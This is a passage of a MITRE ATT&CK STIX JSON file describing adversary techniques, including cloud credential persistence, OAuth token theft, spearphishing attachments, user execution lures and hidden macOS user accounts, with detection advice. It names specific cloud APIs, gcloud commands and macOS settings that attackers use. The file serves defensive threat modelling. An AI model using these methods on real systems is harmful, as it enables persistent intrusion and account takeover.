shortcut with a backdoor. Retrieved October 3, 2023.","url":"https://www.uperesia.com/booby-trapped-shortcut"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-16T22:47:59.395Z","name":"Web Services","description":"Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Dor Edry, Microsoft"],"x_mitre_deprecated":false,"x_mitre_detection":"Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","created":"2020-10-01T00:50:29.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583/006","external_id":"T1583.006"},{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Steal Application Access Token","description":"Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts) Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges.\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Suzy Schapperle - Microsoft Azure Red Team","Shailesh Tiwary (Indian Army)","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Ram Pliskin, Microsoft Azure Security Center","Jack Burns, HubSpot","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["SaaS","Containers","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","created":"2019-09-04T15:54:25.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1528","external_id":"T1528"},{"source_name":"Amnesty OAuth Phishing Attacks, August 2019","description":"Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.","url":"https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/"},{"source_name":"Auth0 Understanding Refresh Tokens","description":"Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021.","url":"https://auth0.com/learn/refresh-tokens/"},{"source_name":"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019","description":"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.","url":"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"},{"source_name":"Cider Security Top 10 CICD Security Risks","description":"Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.","url":"https://www.cidersecurity.io/top-10-cicd-security-risks/"},{"source_name":"Trend Micro Pawn Storm OAuth 2017","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"},{"source_name":"Kubernetes Service Accounts","description":"Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.","url":"https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"},{"source_name":"Microsoft - Azure AD Identity Tokens - Aug 2019","description":"Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"},{"source_name":"Microsoft - Azure AD App Registration - May 2019","description":"Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"},{"source_name":"Microsoft - OAuth Code Authorization flow - June 2019","description":"Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"},{"source_name":"Microsoft Identity Platform Protocols May 2019","description":"Microsoft. (n.d.). Retrieved September 12, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-05-31T04:18:44.568Z","name":"Spearphishing Attachment","description":"Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Philip Winther","Sebastian Salla, McAfee","Robert Simmons, @MalwareUtkonos"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Application Log: Application Log Content","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","created":"2020-10-02T17:08:57.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1598/002","external_id":"T1598.002"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"},{"source_name":"Sophos Attachment","description":"Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.","url":"https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"GitHub Phishery","description":"Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.","url":"https://github.com/ryhanson/phishery"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Additional Cloud Credentials","description":"Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Expel","Oleg Kolesnikov, Securonix","Jannie Li, Microsoft Threat Intelligence Center (MSTIC)","Zur Ulianitzky, XM Cyber","Alex Soler, AttackIQ","Dylan Silva, AWS Security","Arad Inbar, Fidelis Security","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["IaaS","SaaS","Identity Provider"],"x_mitre_version":"2.8","x_mitre_data_sources":["User Account: User Account Modification","Active Directory: Active Directory Object Creation","Active Directory: Active Directory Object Modification"],"type":"attack-pattern","id":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","created":"2020-01-19T16:10:15.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/001","external_id":"T1098.001"},{"source_name":"Crowdstrike AWS User Federation Persistence","description":" Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.","url":"https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"},{"source_name":"Expel IO Evil in AWS","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.","url":"https://expel.io/blog/finding-evil-in-aws/"},{"source_name":"SpecterOps Azure Privilege Escalation","description":"Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.","url":"https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"},{"source_name":"Demystifying Azure AD Service Principals","description":"Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.","url":"https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"},{"source_name":"Lacework AI Resource Hijacking 2024","description":"Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.","url":"https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"},{"source_name":"GCP SSH Key Add","description":"Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.","url":"https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"},{"source_name":"Permiso Scattered Spider 2023","description":"Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.","url":"https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"},{"source_name":"Blue Cloud of Death Video","description":"Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.","url":"https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"},{"source_name":"Blue Cloud of Death","description":"Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.","url":"https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"},{"source_name":"Microsoft Entra ID App Passwords","description":"Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"},{"source_name":"Microsoft SolarWinds Customer Guidance","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"},{"source_name":"Mandiant APT42 Operations 2024","description":"Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"},{"source_name":"Expel Behind the Scenes","description":"S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.","url":"https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"},{"source_name":"Sysdig ScarletEel 2.0","description":"SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.","url":"https://sysdig.com/blog/scarleteel-2-0/"},{"source_name":"Rhino Security Labs AWS Privilege Escalation","description":"Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.","url":"https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-13T15:43:49.208Z","name":"User Execution","description":"An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Oleg Skulkin, Group-IB","Menachem Goldstein","Harikrishnan Muthu, Cyble","ReliaQuest"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS","IaaS","Containers"],"x_mitre_version":"1.7","x_mitre_data_sources":["Instance: Instance Start","File: File Creation","Network Traffic: Network Connection Creation","Container: Container Creation","Instance: Instance Creation","Network Traffic: Network Traffic Content","Process: Process Creation","Command: Command Execution","Image: Image Creation","Application Log: Application Log Content","Container: Container Start"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1204","external_id":"T1204"},{"source_name":"Krebs Discord Bookmarks 2023","description":"Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.","url":"https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"},{"source_name":"Reliaquest-execution","description":"Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.","url":"https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/"},{"source_name":"Telephone Attack Delivery","description":"Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"},{"source_name":"Talos Roblox Scam 2023","description":"Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024.","url":"https://blog.talosintelligence.com/roblox-scam-overview/"},{"source_name":"proofpoint-selfpwn","description":"Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","created":"2020-02-20T14:31:34.778Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1491.001","url":"https://attack.mitre.org/techniques/T1491/001"},{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."},{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:35.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Internal Defacement","x_mitre_detection":"Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Creation","Network Traffic: Network Traffic Content","Application Log: Application Log Content","File: File Modification"],"x_mitre_impact_type":["Integrity"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Omkar Gudhate"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d","created":"2020-03-13T20:12:40.876Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1564.002","url":"https://attack.mitre.org/techniques/T1564/002"},{"source_name":"Cybereason OSX Pirrit","url":"https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf","description":"Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021."},{"source_name":"Apple Support Hide a User Account","url":"https://support.apple.com/en-us/HT203998","description":"Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021."},{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."},{"source_name":"Hide GDM User Accounts","url":"https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/","description":"Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022."},{"source_name":"US-CERT TA18-074A","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user’s home folder by changing the chflags to 